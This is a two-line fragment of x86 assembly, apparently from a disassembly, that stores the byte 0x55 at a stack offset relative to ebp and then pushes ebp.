mov byte [ebp - 0x7a7], 0x55
push ebp